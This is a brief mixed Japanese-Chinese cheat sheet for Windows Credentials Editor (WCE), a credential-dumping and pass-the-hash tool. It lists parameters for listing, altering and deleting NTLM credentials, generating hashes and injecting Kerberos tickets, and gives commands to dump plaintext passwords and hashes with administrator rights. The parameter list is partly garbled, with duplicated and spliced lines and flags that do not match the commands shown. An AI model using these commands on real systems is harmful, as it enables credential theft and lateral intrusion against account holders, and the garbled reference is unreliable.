Wceはハッシュインジェクションの神器であり、ハッシュインジェクションだけでなく、平文やハッシュを直接取得することもできます。このツールには32ビット版と64ビット版があります。
help
パラメータ説明：
l 列出登录的会话和NTLM凭据（默认值）；
s 修改当前登录会话的NTLM凭据 参数：<用户名>:<域名>:<LM哈希>:<NT哈希>；
r 不定期的列出登录的会话和NTLM凭据，如果找到新的会话，那么每5秒重新列出一次；
c 用一个特殊的NTML凭据运行一个新的会话 参数：<cmd>；
e 不定期的列出登录的会话和NTLM凭据，当产生一个登录事件的时候重新列出一次；
o 保存所有的输出到一个文件 参数:<文件名>；
i 指定一个LUID代替使用当前登录会话 参数:<luid>。
d 从登录会话中删除NTLM凭据 参数:<luid>；
a 使用地址 参数: <地址>；
f 强制使用安全模式
g 生成LM和NT的哈希 参数<密码>
f 强制使用安全模式；希 参数<密码>；（unix和windows wce格式）；；；
k 从一个文件中读取kerberos票据并插入到windows缓存中
k 从一个文件中读取kerberos票据并插入到windows缓存中；
v 详细输出；
ユーザーの平文パスワードを取得（管理者権限で実行）:
Wce.exe -w
password
ハッシュ値を取得:
wce.exe -l
hash